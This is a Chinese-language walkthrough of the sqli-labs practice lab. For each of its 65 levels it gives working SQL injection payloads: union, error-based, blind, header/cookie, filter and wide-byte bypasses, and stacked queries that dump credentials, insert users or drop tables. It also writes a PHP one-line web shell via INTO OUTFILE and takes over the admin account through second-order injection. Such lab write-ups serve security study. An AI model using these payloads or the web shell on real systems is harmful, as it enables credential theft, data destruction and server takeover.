Less-1
?id=1'
单引号报错,存在注入
?id=1' order by 4 %23'
报错,存在三列
?id=-1' union select 1,2,3%23
发现2和3的位置可以回显,于是进行注入
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23
得到当前库下所有表名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23
得到users表下的所有列名
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23
得到所有的username和password
Less-2
less-1用单引号闭合了,而这里的id是整型,其他的注入方法与less-1相同。
最终payload:?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23
Less-3
区别是这里用')
进行闭合
最终payload:?id=-1') union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23
Less-4
区别是这里用")
进行闭合
最终payload:?id=-1") union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23
Less-5
发现有回显”You are in………..”和不回显两种情况
1 | ?id=1' and 1=1%23 You are in........... |
判断为盲注,这里可以直接用sqlmap跑出来,但为了学习,还是自己写个脚本吧!
脚本如下,只跑了一下库名,其他的类似,改一下payload即可:
1 | # bool-base script |
Less-6
同样是bool盲注,双引号报错,判断为双引号闭合,将less-5的脚本中payload的单引号改为双引号即可。
Less-7
测试发现id=1'
报错,但把后面的语句注释掉扔报错,还有括号闭合,发现加两个括号判断为(('$id'))
闭合。
根据提示Use outfile……,应该是具有导出什么的了。
(1)首先判断是否有权限:?id=1')) and (select count(*) from mysql.user)>0--+
没有报错,具有root权限。
(2)于是将数据导出:?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "E:\\CTF\\less-7\\table.txt"--+
导出所有表
?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') into outfile "E:\\CTF\\less-7\\column.txt"--+
导出user表中所有列名
?id=-1')) union select 1,2,(select group_concat(username,password) from users) into outfile "E:\\CTF\\less-7\\data.txt"--+
导出用户名和密码
注意:在Mysql中,需要注意路径转义的问题,即用\\
分隔。
另一种也可以向根目录下写入一句话木马,再用菜刀连接:?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "D:\\PHPWAMP_IN3\\wwwroot\\sqli-labs-master\\Less-7\\shell.php"--+
Less-8
单引号闭合的盲注,用less-5的脚本跑一下即可。
Less-9
发现页面无论对错都只回显You are in...........
测试?id=1' and sleep(3)%23
页面会延时3秒再回显,判断为时间盲注
脚本如下:
1 | # less-9 time-base script |
Less-10
双引号闭合的时间盲注。
稍微改一下less-9的脚本即可:
1 | # less-10 script |
Less-11
是一个登录框,后端语句为:
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
所有构造万能密码即可:
即Username为1' or 1=1#
,Password为任意值。
因为这里是Post方式传到后端,因此注释符只能用#
Less-12
与上题的区别是这里用("$uname")
进行闭合
因此构造Username为1") or 1=1#
Less-13
闭合方式为:('$uname')
因此构造Username为1') or 1=1#
Less-14
闭合方式为:"$uname"
因此构造Username为1" or 1=1#
Less-15
字符型POST盲注
构造1' or 1=1#
即可登陆
要想通过这个注入出数据,可以写个脚本,但这里回显的语句是图片,不好进行bool盲注,于是考虑时间盲注。
发现构造:1' or sleep(3)#
页面会进行延时,所以脚本如下:
1 | # less-15 |
Less-16
将less-15中的闭合方式改为("$uname")
即可,其他都一样。
Less-17
1 | function check_input($value) |
这里用check_input函数对username的值进行了过滤,而对password没有限制,因此考虑构造password。
可利用只有Update语句:
1 | $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; |
所以利用报错注入,可以参考这篇文章:Mysql报错注入总结
主要的分为三种方法:
BIGINT等数据类型溢出
1
2mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'在mysql>5.5.53时,则不能返回查询结果
xpath语法错误
1
2
3
4
5mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'concat+rand()+group_by()导致主键重复(floor()报错注入)
1 | mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)); |
这题我采用extractvalue报错,payload如下:
1 | User Name: admin |
接下来,当想要注出user表中的数据时,会报错:You can't specify target table 'users' for update in FROM clause
,因为在同一语句中,不能先select出同一表中的某些值,再update这个表。
所以要通过子查询,使select的表更换一个名称。
payload:
1 | User Name: admin |
Less-18
进入页面发现会显示Your IP ADDRESS is: xxx.xxx.xxx.xxx
,再根据名字判断应该是HTTP首部注入,注入的字段可能是X-Forward-For之类的地方,但登陆后会回显User-Agent的内容,这里是通过User-Agent进行注入。
同样是报错注入:
先尝试:
由报错信息可以推测后台Insert语句····VALUES ('$uagent', '$IP', $uname)
因此构造payload:1' and extractvalue(1,concat(0x7e,(select database()),0x7e)),'','')#
最终payload:(通过改变limit语句逐条注出数据)1' and extractvalue(1,concat(0x7e,( select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e)),'','')#
Less-19
同样登陆后回显Referer的内容,应该是通过http首部的Referer字段进行注入。
先判断后台Insert语句:
大致为:···VALUES ('$uagent', '$IP')
于是payload:1' and updatexml(1,concat(0x7e,(select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e),1),'')#
Less-20
同样是http首部注入,这里是通过Cookie注入,大体流程和前面差不多。
payload:uname=1' and updatexml(1,concat(0x7e,(select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e),1)#
设置Cookie的值为此即可
Less-21
这一关和less-20的区别就是对Cookie的uname进行了一下base64的编码,同时用('')
进行的闭合。
所以payload:uname=1') and updatexml(1,concat(0x7e,(select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e),1)#
base64一下得到:uname=MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0ICogZnJvbSAoIHNlbGVjdCBjb25jYXRfd3MoJzonLHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzIGxpbWl0IDAsMSlhKSwweDdlKSwxKSM=
将Cookie设为base64后的payload
Less-22
与less-21的区别是这里用了"
进行闭合,其他都一样。
payload:uname=MSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgKiBmcm9tICggc2VsZWN0IGNvbmNhdF93cygnOicsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMgbGltaXQgMCwxKWEpLDB4N2UpLDEpIw==
Less-23
单引号闭合且过滤了注释符#
和--
因此使用union注入时,要构造sql语句闭合前后的单引号。
payload:(注意最后有个单引号用来闭合)?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)'
Less-24
根据名字,是一道二次注入的题目,二次注入的题一般都要通过代码审计找出可控点,否则很难注入。
那就进行代码审计,整个代码逻辑比较简单:注册 => 登陆(登陆时login.php会设置Session)=> 登陆后可以修改密码
重点关注一下操作数据库的部分,发现只有一个地方的变量在拼接到sql语句中时没有用mysql_real_escape_string()
函数进行过滤,在pass_change.php中。
1 | if (isset($_POST['submit'])) |
即上述代码中的$username
在用Update语句进行修改密码时,直接从Session中获取了,没有进行任何过滤。
那么我们再来看看整个$_SESSION["username"]
是如何定义的,在login.php中:
1 | function sqllogin(){ |
可以看到$_SESSION["username"]
是在登陆成功时直接从数据库中取出用户名,没有进行过滤,而这个用户名我们在注册新用户的时候是可控的,这样就找到了可控变量,注入思路也就清楚了0。
也就是说虽然在注册的时候构造的payload被过滤了没有办法注入,但是依旧会存到数据库里,当你直接取出并拼接到另一个sql语句时就造成了二次注入。
注入过程:
注册一个用户名为admin'#
的用户,并登陆。
这样在修改密码时,拼接过后的Update语句就为:UPDATE users SET PASSWORD='$pass' where username=' admin'# ' and password='$curr_pass'
也就可以修改admin用户的密码了。
Less-25
单引号闭合,过滤了or
、and
、&&
:
1 | function blacklist($id) |
可以采用双写绕过。
payload:(注意information
和password
里也有or
,需要双写)
?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),3--+
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(passwoorrd) from users)--+
Less-25a
过滤和绕过方式同less-25,区别是不需要单引号闭合了。
payload:?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(passwoorrd) from users)--+
Less-26
过滤了or,and,-,#,&&,空格、内联注释符(/**/)
- 本来
/**/
可以用来绕过空格,但这里被过滤了,所以用%a0
绕过 or
和and
依旧用双写绕过,- 所有注释符都被过滤了,所以考虑闭合单引号而不是注释
payload:?id=0'%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),'3
Less-26a
和上题一样,只不过是用('$id')闭合
payload:?id=0')%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),('3
Less-27
在前面的基础上,少过滤了or
和and
,多过滤了union或UNION
和select或UNION
,这里union
可以用双写或大小写绕过,而select
只能用大小写绕过,应该是过滤时使用了全局匹配。
payload:?id=0'%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),'3
Less-27a
双引号闭合,其他和less-27一样。
?id=0"%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),"3
Less-28
('$id')
闭合,其他和less-27一样。
payload:?id=0')%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),('3
Less-28a
和less-28一模一样…
payload:?id=0')%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),('3
Less-29
Less 29 - Less 31这三关实际上是两层服务器架构,在做这三关之前需要把 Tomcat 为引擎的 jsp 服务器搭好。
参考:MySQL注入天书
重点:对于index.php?id=1&id=2
该如何解析呢?实际上apache(php)解析最后一个参数,即显示id=2的内容,而Tomcat(jsp)解析第一个参数,即显示id=1的内容
整个逻辑大概就是,获取url中查询的部分,第一个id
的值经过java_implimentation()
处理看是否符合whitelist()
函数的过滤要求,若不符合就检测出攻击,否则就把第二个id
的值拼接到sql语句中进行查询。
那我们分别看看这两个函数:
whitelist()
比较简单,就是要求传入的参数必须是一位以上的数字java_implimentation()
则将传入的参数以&
为分隔符分为两部分,然后进行遍历,若前两个字符为id
则返回后面3到30个字符。
因此构造payload:?id=123&id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
Less-30
同上,不过是双引号闭合。
payload:?id=123&id=-1" union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
Less-31
同上,不过是("$id")
闭合。
payload:?id=123&id=-1") union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
Less-32
这一关将payload中的单引号前面加上了\
进行过滤,想到宽字节注入,即利用gbk编码%df
+%5c(\)
组合出了一个 運
字。
注意,这里除了闭合的时候需要考虑绕过单引号,在注入出列名的时候,也需要用到单引号,但这里就不能用%df
绕过了,如下面payload中的表名users
:
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
这里可以用16进制绕过,即用user
的16进制0x7573657273
代替它,表名为16进制时不需要再用引号了。
payload:?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+
?id=-1%df' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
Less-33
与less-32一样…
payload:?id=-1%df' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
Less-34
这关的过滤方式和前面一样,考虑宽字节注入,但是POST传入数据时不会进行URL编码,因此这里采用将utf8单引号转为utf-16/utf-32编码绕过,即将'
转为utf-16为 �'
payload:
1 | 万能密码: |
Less-35
GET型宽字解注入,但区别是这里是数字型,不需要用单引号闭合了,其他的和less-32一样,16进制绕过一下表名即可。
payload:?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
Less-36
好像和less-32一样..
payload:?id=-1%df' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
Less-37
好像和less-34一样…
payload:
1 | 万能密码: |
Less-38
堆叠注入,可以执行多条语句,用分号间隔,可参考:https://www.cnblogs.com/lcamry/p/5762905.html
堆叠注入优点是可以执行的语句更加灵活,如Create、Delete、Update、Insert、Drop….,但代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
如执行如下payload:?id=1';create table Lethe like users--+
执行完后页面没有变,但是查询表时可以发现多出了lethe
表:
再将这个表删除:?id=1';drop table Lethe--+
发现Lethe
表已被删除。
同样,我也可以在它的user
表中插入我们自己的一条信息:?id=1';insert into users(id,username,password) values('20','Lethe','Lethe')--+
Less-39
和less-38一样,只不过这里是数字型,无需闭合。
?id=1;insert into users(id,username,password) values('20','Lethe','Lethe')--+
Less-40
和前面两关的区别是这里用('$id')
闭合
?id=1');insert into users(id,username,password) values('20','Lethe','Lethe')--+
Less-41
和less-39一样,?id=1
和?id=2-1
返回相同结果,数字型注入。
?id=1;insert into users(id,username,password) values('20','Lethe','Lethe')--+
Less-42
进入页面是一个登陆窗口,发现注册不了,提示要我们hack
掉它,根据前面,判断应该是用堆叠注入插入一个用户到数据库中,来进行登陆。
但这里对Usernmae进行了过滤,因此利用Password来进行堆叠注入。
payload:
1 | Username:任意 |
先利用payload尝试登陆,虽然显示登陆失败,但实际上堆叠注入的语句已经执行,然后再用账户密码均为Lethe
的账户进行登陆,发现可以登陆成功。
如果还希望越权的话,原理参考less-24,构造1';insert into users(id,username,password) values("25","admin'#","123")#
,这样就插入可用户名为admin'#
,密码为123
的用户,登陆此账号:
然后用此账号进行修改密码,实际上修改了用户admin
的密码。
Less-43
与less-42一样,区别是这里用('$password')
闭合。
payload:
1 | Username:任意 |
Less-44
好像和less-42一样…
payload:
1 | Username:任意 |
Less-45
好像和less-43一样…
payload:
1 | Username:任意 |
Less-46
order by注入,?id=1 desc
和?id=1 asc
返回的数据有区别说明可以进行注入。
- 这一关会回显错误,因此可以采用报错注入。
- 除此之外,
rand(true)
和rand(false)
返回的结果也不一样,可以利用这一点进行布尔盲注。 - 还有一种盲注的方法,即类似
?sort=id ^(select(select version()) regexp '^5')
,原理就是就是在regexp
正则匹配的时候,如果匹配到数据返回1(00000001)的时候,此时的1会和id中的数据的二进制进行异或,按照异或的结果进行升序排列,所以显示的排列会发生变化;反之当进行正则匹配的时候,未匹配到数据返回0(00000000),此时数字和0异或的结果还是本身,所以显示的排列不会发生改变,所以可以布尔盲注,逐个猜解数据,当页面排序紊乱时则说明匹配正确,页面排序未发生紊乱时则说明匹配错误。 - 也可以通过类似
?sort=1 and (if((ascii(substr((select database() limit 0,1),1,1))=115),sleep(5),1))–+
进行时间盲注 - 导入导出文件into outfile参数也可以
这里采用报错注入,payload:(报错字数有限,可修改limit的值逐条读出数据)?sort=1 and extractvalue(1,concat(0x7e,( select concat_ws(':',username,password) from users limit 0,1),0x7e))
Less-47
单引号闭合sort,其他的与上一关一样。
payload:?sort=1' and extractvalue(1,concat(0x7e,( select concat_ws(':',username,password) from users limit 0,1),0x7e))--+
Less-48
这一关原理同less-46,但是不会回显报错信息,所以不能使用报错注入。
采用时间盲注,脚本如下:
1 | # less-48 |
Less-49
同less-47单引号闭合,但是不能回显报错信息,所以还是采用时间盲注,脚本如下:
1 | # less-49 |
Less-50
这一关是order by与堆叠注入结合,数字型,无闭合。
payload:?sort=1;insert into users(id,username,password) values('20','lethe','lethe')--+
执行完上面payload后再?sort=1
可以看到多出来一行数据
Less-51
与上一关的区别是这里用单引号进行了闭合。
payload:?sort=1';insert into users(id,username,password) values('20','lethe','lethe')--+
Less-52
和less-50一样,只是不会回显错误,堆叠注入方式相同。
payload:?sort=1;insert into users(id,username,password) values('20','lethe','lethe')--+
Less-53
和less-51一样,只是不会回显错误,堆叠注入方式相同。
payload:?sort=1';insert into users(id,username,password) values('20','lethe','lethe')--+
Less-54
限制了只能在10次请求以内完成注入,且每次重置会生成随机的表名、列名和数据。
payload:?id=1'
?id=1'--+
?id=1' order by 3--+
?id=1' order by 4--+
?id=-1' union select 1,2,3--+
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
得到表名3UXZWY1KY9
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='3UXZWY1KY9'),3--+
得到四个列名id,sessid,secret_7RZ7,tryy
?id=-1' union select 1,(select group_concat(secret_7RZ7) from 3UXZWY1KY9),3--+
得到数据VWKFpeoXofNsCqqxcfWGM9x7,并提交
Less-55
这里比上一关多给了四次机会,得先花不少次猜测闭合方式,按照前面提到的顺序,先猜单双引号和单独括号,然后在单双引号后逐个添加括号,一般最多两个括号,若有报错信息同时要关注报错的信息来进行判断。
本关闭合方式为:($id)
知道了闭合方式后其他的和上一关就一样了。
payload:
······
?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
得到表名P6BV60ROT2
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='P6BV60ROT2'),3--+
得到四个列名id,sessid,secret_EWSR,tryy
?id=-1) union select 1,(select group_concat(secret_EWSR) from P6BV60ROT2),3--+
得到数据Pwh5inh7TxaAV10IZRCc26MW
Less-56
闭合方式为:('$id')
,其他的和上面一样。
payload:
······
?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
得到表名QS5C6XI6F0
?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='QS5C6XI6F0'),3--+
得到四个列名id,sessid,secret_PYBQ,tryy
?id=-1') union select 1,(select group_concat(secret_PYBQ) from QS5C6XI6F0),3--+
得到数据bHnjS8Y6KtGQDTihKBCDG7sU
Less-57
闭合方式为:"$id"
,其他的和上面一样。
payload:
······
?id=-1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
得到表名9ODZ61QBP1
?id=-1" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='9ODZ61QBP1'),3--+
得到四个列名id,sessid,secret_Z0TV,tryy
?id=-1" union select 1,(select group_concat(secret_Z0TV) from 9ODZ61QBP1 ),3--+
得到数据0MNZ3yAJ3N0XuSZIlYhrGbcj
Less-58
单引号闭合,但是只有五次机会。
但是尝试?id=-1' union select 1,2,3--+
时发现页面无法回显sql语句的结果,所以前面几关的方法不能用了,但是页面会回显错误信息,所以考虑报错注入。
payload:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
得到表名AK0HRXW75I
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='AK0HRXW75I'),0x7e))--+
得到四个列名id,sessid,secret_RPHD,tryy
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(secret_RPHD) from AK0HRXW75I),0x7e))--+
得到数据7wEINBWYdYvusRUrsV9bidFL
Less-59
这一关为数字型,未进行闭合,其他的与less-58相同。
payload:
?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
得到表名NTGAY0ES0F
?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='NTGAY0ES0F'),0x7e))--+
得到四个列名id,sessid,secret_9Y69,tryy
?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(secret_9Y69) from NTGAY0ES0F),0x7e))--+
得到数据UpD0J8a6Q7RFjeMejjCujser
Less-60
经测试,闭合方式为:("$id")
,其他与前两关相同。
payload:
?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
得到表名HJ31CD4SZJ
?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='HJ31CD4SZJ'),0x7e))--+
得到四个列名id,sessid,secret_L5OI,tryy
?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(secret_L5OI) from HJ31CD4SZJ),0x7e))--+
得到数据RbCnjPhpQjy7psK1DXG1IL78
Less-61
经测试,闭合方式为:(('$id'))
,其他与前两关相同。
payload:
?id=-1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
得到表名S0EAHB4X1I
?id=-1')) and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='S0EAHB4X1I'),0x7e))--+
得到四个列名id,sessid,secret_5AJ4,tryy
?id=-1')) and extractvalue(1,concat(0x7e,(select group_concat(secret_5AJ4) from S0EAHB4X1I),0x7e))--+
得到数据5SIpSyz03MhX52krjGbqHot7
Less-62
经测试,闭合方式为:('$id')
,这一关既不回显sql语句结果,也不回显错误信息,那就只能盲注了,要求是130次请求以内完成盲注。
下面关键就是如何减少请求的次数了…
那么首先,如果能知道跑出的数据,长度为多少肯定是最好的,就没必要进行多余的爆破了…
- 前面几关可以发现随机的表名长度是固定的(长度为10),这里也可以手工测试或写个脚本跑一下,这一阶段只是为了知道长度,之后可以进行重置。
- 在跑列名的时候,我们实际上只需要secret_XXXX这一列的列名,因此可以用
limit 2,1
之筛选出这个列名,甚至我们只需要跑出最后那随机的4位即可,前面的secret_
是都一样的。 - 最后在注入出数据,发现数据也是固定的24位长度。
除此之外,我前面的脚本都是采取顺序爆破的,这样更方便一点,但这里可以采用二分法来进行盲注,可以减少请求的次数。
脚本如下:
(1)表名:(已测试出表名长度为10)
1 | import requests |
结果:
(2)列名:(只爆破最后随机的4位)
1 | import requests |
结果:
(3)最后的数据:(已知长度为24)
1 | import requests |
结果:
Less-63
闭合方式为:'$id'
,其他的与less-62相同。
Less-64
闭合方式为:(($id))
,其他的与less-62相同。
Less-65
闭合方式为:("$id")
,其他的与less-62相同。